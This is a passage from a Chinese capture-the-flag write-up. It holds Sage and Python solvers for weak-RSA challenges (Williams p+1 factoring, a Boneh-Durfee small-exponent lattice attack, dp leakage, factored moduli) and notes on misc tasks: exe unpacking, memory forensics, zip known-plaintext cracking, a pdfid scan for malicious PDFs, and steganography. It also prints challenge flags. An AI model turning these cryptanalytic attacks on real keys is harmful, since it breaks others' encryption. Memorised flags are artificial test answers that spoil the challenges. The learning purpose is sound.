yield 13
ps = primegen() # yay recursion
p = ps.__next__() and ps.__next__()
q, sieve, n = p ** 2, {}, 13
while True:
if n not in sieve:
if n < q:
yield n
else:
next, step = q + 2 * p, 2 * p
while next in sieve:
next += step
sieve[next] = step
p = ps.__next__()
q = p ** 2
else:
step = sieve.pop(n)
next = n + step
while next in sieve:
next += step
sieve[next] = step
n += 2
def ilog(x, b): # greatest integer l such that b**l <= x.
l = 0
while x >= b:
x /= b
l += 1
return l
def attack(n):
for v in count(1):
for p in primegen():
e = ilog(math.isqrt(n), p)
if e == 0:
break
for _ in range(e):
v = mlucas(v, p, n)
g = GCD(v - 2, n)
if 1 < g < n:
return int(g), int(n // g) # g|n
if g == n:
break
p1,q1=attack(n1)
print(p1,q1)
e=c1-p1
helpful_only = True
dimension_min = 7 # stop removing if lattice reaches that dimension
debug = False
"""
Setting strict to true will stop the algorithm (and
return (-1, -1)) if we don't have a correct
upperbound on the determinant. Note that this
doesn't necesseraly mean that no solutions
will be found since the theoretical upperbound is
usualy far away from actual results. That is why
you should probably use `strict = False`
"""
strict = False
############################################
# Functions
##########################################
# display stats on helpful vectors
def helpful_vectors(BB, modulus):
nothelpful = 0
for ii in range(BB.dimensions()[0]):
if BB[ii, ii] >= modulus:
nothelpful += 1
print(nothelpful, "/", BB.dimensions()[0], " vectors are not helpful")
# display matrix picture with 0 and X
def matrix_overview(BB, bound):
for ii in range(BB.dimensions()[0]):
a = ('%02d ' % ii)
for jj in range(BB.dimensions()[1]):
a += '0' if BB[ii, jj] == 0 else 'X'
if BB.dimensions()[0] < 60:
a += ' '
if BB[ii, ii] >= bound:
a += '~'
print(a)
# tries to remove unhelpful vectors
# we start at current = n-1 (last vector)
def remove_unhelpful(BB, monomials, bound, current):
# end of our recursive function
if current == -1 or BB.dimensions()[0] <= dimension_min:
return BB
# we start by checking from the end
for ii in range(current, -1, -1):
# if it is unhelpful:
if BB[ii, ii] >= bound:
affected_vectors = 0
affected_vector_index = 0
# let's check if it affects other vectors
for jj in range(ii + 1, BB.dimensions()[0]):
# if another vector is affected:
# we increase the count
if BB[jj, ii] != 0:
affected_vectors += 1
affected_vector_index = jj
# level:0
# if no other vectors end up affected
# we remove it
if affected_vectors == 0:
# print("* removing unhelpful vector", ii)
BB = BB.delete_columns([ii])
BB = BB.delete_rows([ii])
monomials.pop(ii)
BB = remove_unhelpful(BB, monomials, bound, ii - 1)
return BB
# level:1
# if just one was affected we check
# if it is affecting someone else
elif affected_vectors == 1:
affected_deeper = True
for kk in range(affected_vector_index + 1, BB.dimensions()[0]):
# if it is affecting even one vector
# we give up on this one
if BB[kk, affected_vector_index] != 0:
affected_deeper = False
# remove both it if no other vector was affected and
# this helpful vector is not helpful enough
# compared to our unhelpful one
if affected_deeper and abs(bound - BB[affected_vector_index, affected_vector_index]) < abs(
bound - BB[ii, ii]):
# print("* removing unhelpful vectors", ii, "and", affected_vector_index)
BB = BB.delete_columns([affected_vector_index, ii])
BB = BB.delete_rows([affected_vector_index, ii])
monomials.pop(affected_vector_index)
monomials.pop(ii)
BB = remove_unhelpful(BB, monomials, bound, ii - 1)
return BB
# nothing happened
return BB
"""
Returns:
* 0,0 if it fails
* -1,-1 if `strict=true`, and determinant doesn't bound
* x0,y0 the solutions of `pol`
"""
def boneh_durfee(pol, modulus, mm, tt, XX, YY):
"""
Boneh and Durfee revisited by Herrmann and May
finds a solution if:
* d < N^delta
* |x| < e^delta
* |y| < e^0.5
whenever delta < 1 - sqrt(2)/2 ~ 0.292
"""
# substitution (Herrman and May)
PR.<u,x,y> = PolynomialRing(ZZ)
Q = PR.quotient(x * y + 1 - u) # u = xy + 1
polZ = Q(pol).lift()
UU = XX * YY + 1
# x-shifts
gg = []
for kk in range(mm + 1):
for ii in range(mm - kk + 1):
xshift = x ^ ii * modulus ^ (mm - kk) * polZ(u, x, y) ^ kk
gg.append(xshift)
gg.sort()
# x-shifts list of monomials
monomials = []
for polynomial in gg:
for monomial in polynomial.monomials():
if monomial not in monomials:
monomials.append(monomial)
monomials.sort()
# y-shifts (selected by Herrman and May)
for jj in range(1, tt + 1):
for kk in range(floor(mm / tt) * jj, mm + 1):
yshift = y ^ jj * polZ(u, x, y) ^ kk * modulus ^ (mm - kk)
yshift = Q(yshift).lift()
gg.append(yshift) # substitution
# y-shifts list of monomials
for jj in range(1, tt + 1):
for kk in range(floor(mm / tt) * jj, mm + 1):
monomials.append(u ^ int(kk)* y ^ jj)
# construct lattice B
nn = len(monomials)
BB = Matrix(ZZ, nn)
for ii in range(nn):
BB[ii, 0] = gg[ii](0, 0, 0)
for jj in range(1, ii + 1):
if monomials[jj] in gg[ii].monomials():
BB[ii, jj] = gg[ii].monomial_coefficient(monomials[jj]) * monomials[jj](UU, XX, YY)
# Prototype to reduce the lattice
if helpful_only:
# automatically remove
BB = remove_unhelpful(BB, monomials, modulus ^ mm, nn - 1)
# reset dimension
nn = BB.dimensions()[0]
if nn == 0:
print("failure")
return 0, 0
# check if vectors are helpful
if debug:
helpful_vectors(BB, modulus ^ mm)
# check if determinant is correctly bounded
det = BB.det()
bound = modulus ^ (mm * nn)
if det >= bound:
# print("We do not have det < bound. Solutions might not be found.")
# print("Try with highers m and t.")
if debug:
diff = (log(det) - log(bound)) / log(2)
# print("size det(L) - size e^(m*n) = ", floor(diff))
if strict:
return -1, -1
else:
print("det(L) < e^(m*n) (good! If a solution exists < N^delta, it will be found)")
# display the lattice basis
if debug:
matrix_overview(BB, modulus ^ mm)
# LLL
if debug:
print("optimizing basis of the lattice via LLL, this can take a long time")
BB = BB.LLL()
if debug:
print("LLL is done!")
# transform vector i & j -> polynomials 1 & 2
if debug:
print("looking for independent vectors in the lattice")
found_polynomials = False
for pol1_idx in range(nn - 1):
for pol2_idx in range(pol1_idx + 1, nn):
# for i and j, create the two polynomials
PR.<w,z> = PolynomialRing(ZZ)
pol1 = pol2 = 0
for jj in range(nn):
pol1 += monomials[jj](w * z + 1, w, z) * BB[pol1_idx, jj] / monomials[jj](UU, XX, YY)
pol2 += monomials[jj](w * z + 1, w, z) * BB[pol2_idx, jj] / monomials[jj](UU, XX, YY)
# resultant
PR.<q> = PolynomialRing(ZZ)
rr = pol1.resultant(pol2)
# are these good polynomials?
if rr.is_zero() or rr.monomials() == [1]:
continue
else:
# print("found them, using vectors", pol1_idx, "and", pol2_idx)
found_polynomials = True
break
if found_polynomials:
break
if not found_polynomials:
# print("no independant vectors could be found. This should very rarely happen...")
return 0, 0
rr = rr(q, q)
# solutions
soly = rr.roots()
if len(soly) == 0:
# print("Your prediction (delta) is too small")
return 0, 0
soly = soly[0][0]
ss = pol1(q, soly)
solx = ss.roots()[0][0]
#
return solx, soly
delta = .271 # this means that d < N^delta
M = 8 # size of the lattice (bigger the better/slower)
t = int((1 - 2 * delta) * M) # optimization from Herrmann and May
X = 2 * floor(n ^ delta) # this _might_ be too much
Y = floor(sqrt(n)) # correct if p, q are ~ same size
P.<x,y> = PolynomialRing(ZZ)
A = int((n + 1) / 2)
pol = 1 + x * (A + y)
solx, soly = boneh_durfee(pol, e, M, t, X, Y)
d = int(pol(solx, soly) / e)
print(d)
m = power_mod(c, d, n)
print(bytes.fromhex(hex(m)[2:]))
flag{39693fd4a45b386c28c63100cc930238259891a2}
Dp
题目自带 exp。
import gmpy2 as gp
n = 110231451148882079381796143358970452100202953702391108796134950841737642949460527878714265898036116331356438846901198470479054762675790266666921561175879745335346704648242558094026330525194100460497557690574823790674495407503937159099381516207615786485815588440939371996099127648410831094531405905724333332751
dp = 3086447084488829312768217706085402222803155373133262724515307236287352098952292947424429554074367555883852997440538764377662477589192987750154075762783925
c = 59325046548488308883386075244531371583402390744927996480498220618691766045737849650329706821216622090853171635701444247741920578127703036446381752396125610456124290112692914728856924559989383692987222821742728733347723840032917282464481629726528696226995176072605314263644914703785378425284460609365608120126
e = 65537
for i in range(1, e): # 在范围(1,e)之间进行遍历
if (dp * e - 1) % i == 0:
if n % (((dp * e - 1) // i) + 1) == 0: # 存在p,使得n能被p整除
p = ((dp * e - 1) // i) + 1
q = n // (((dp * e - 1) // i) + 1)
phi = (q - 1) * (p - 1) # 欧拉定理
d = gp.invert(e, phi) # 求模逆
m = pow(c, d, n) # 快速求幂取模运算
print(m) # 10进制明文
print('------------')
print(hex(m)[2:]) # 16进制明文
print('------------')
print(bytes.fromhex(hex(m)[2:])) # 16进制转文本
Easyrsa
n 直接在线分解得到 p,q
p = 1000000000000000000000000000057
q = 1000000000000000000000000000099
from Crypto.Util.number import inverse
p = 1000000000000000000000000000057
q = 1000000000000000000000000000099
e = 65537
c = 418535905348643941073541505434424306523376401168593325605206
n = p * q
phi = (p-1) * (q-1)
d = inverse(e, phi)
m = pow(c, d, n)
print(bytes.fromhex(hex(m)[2:]).decode())
Misc
Terminal Hacker
pyinstxtractor 直接解包 py exe 得到 1.pyc
在线反编译得到 flag
一大碗冰粉
镜像用 vol3 提取出 hint.txt
doyouknowplaintextattack
再提取 secret.zip 用明文攻击爆破。
得到以下文件
疑惑吗?疑惑就对了.search
将文件 xor 上 search 得到 zip 文件,解压得到下图
社工找到该图片位置。
flag{江苏省连云港市海州区陇海步行街}
数据识别与审计
需要从各个类型文件里面审计找到有敏感 + 恶意代码的信息文件,每个类型五个
排序规则:TXT> 图片 >PDF> 音频数据,且数字 > 大小写字母
例如:1a.txt,q5.txt,Qa.txt,aa.pdf,b.png
则 flag 为 flag{md5(1a.txt,q5.txt,Qa.txt,b.png,aa.pdf)}=flag{4b24307829e14b4acdfdc5b43d87554f}
txt 所有提取数据:
pdfid 扫描脚本:
import os
import subprocess
import sys
def process_pdfs_in_directory(directory_path, script_to_call, output_log_file="process_log.txt"):
if not os.path.isdir(directory_path):
return
if not os.path.isfile(script_to_call):
return
with open(output_log_file, 'w', encoding='utf-8') as log_f:
def log_print(message):
print(message)
log_f.write(message + "\n")
log_print(f"=====================================================")
log_print(f"开始处理 PDF 文件,输出将记录到:{output_log_file}")
log_print(f"扫描目录:{directory_path}")
log_print(f"要调用的脚本:{script_to_call}")
log_print(f"=====================================================\n")
found_pdfs = False
for filename in os.listdir(directory_path):
if filename.lower().endswith(".pdf"):
pdf_path = os.path.join(directory_path, filename)
found_pdfs = True
log_print(f"\n--- 正在处理 PDF 文件:{filename} ---")
try:
command = [sys.executable, script_to_call, "-s", pdf_path]
log_print(f"执行命令:{' '.join(command)}")
result = subprocess.run(command, capture_output=True, text=True, check=True)
log_print("脚本标准输出:")
log_print(result.stdout.strip())
if result.stderr:
log_print("脚本错误输出:")
log_print(result.stderr.strip())
except subprocess.CalledProcessError as e:
log_print(f"处理 '{filename}' 时脚本返回非零退出代码:{e.returncode}")
log_print(f"错误输出:\n{e.stderr.strip()}")
except FileNotFoundError:
log_print(f"错误:无法找到 Python 解释器或脚本 '{script_to_call}'。请检查路径和环境变量。")
except Exception as e:
log_print(f"处理 '{filename}' 时发生未知错误:{e}")
if not found_pdfs:
log_print(f"在目录 '{directory_path}' 中没有找到任何 PDF 文件。")
log_print(f"\n=====================================================")
log_print(f"所有 PDF 文件处理完毕。详情请查看日志文件:{output_log_file}")
log_print(f"=====================================================\n")
if __name__ == "__main__":
PDF_DIRECTORY = r"C:\Users\Admin\Desktop\pdf"
ANOTHER_SCRIPT_PATH = os.path.join(os.path.dirname(__file__),r"C:\Users\Admin\Desktop\PDFID\pdfid.py")
OUTPUT_LOG_FILE = r"C:\Users\Admin\Desktop\out.txt"
process_pdfs_in_directory(PDF_DIRECTORY, ANOTHER_SCRIPT_PATH, OUTPUT_LOG_FILE)
txt
Me4CoMw7.txt
9h0zQJok.txt
T0BPOXDY.txt
FiBRFFnG.txt
gWa0DiTs.txt
wav:
Bd2IYe3.wav
H0KDChj.wav
UEbzH4X.wav
bjVwvcC.wav
ou9E9Mh.wav
pdf:
bVKINl.pdf
hnPRx1.pdf
mIR13t.pdf
OGoyOG.pdf
rSG2pW.pdf
Png:
sofhifed.png
wxrozxe3.png
a4ijc0fu.png
lhf82t3d.png
b7aykkl9.png
哇哇哇瓦
lsb 提取出前半 flag
foremost 提取出一个 hint 文件
使用脚本提取图片右下角从右到左的 rgb 数据转 hex,得到 zip 字节。
from PIL import Image
import numpy as np
img = Image.open('aa.png')
width, height = img.size
y = height - 1
pixels = []
for x in range(width):
pixel = img.getpixel((x, y))
if len(pixel) > 3:
pixel = pixel[:3]
pixels.append(pixel)
for i in range(width-1, 831, -1):
hex_color = '{:02x}{:02x}{:02x}'.format(*pixels[i])
print(hex_color, end='')
两个英雄一个 Gekko 一个 Yoru,密码就是 GekkoYoru
解压得到 flag 后半段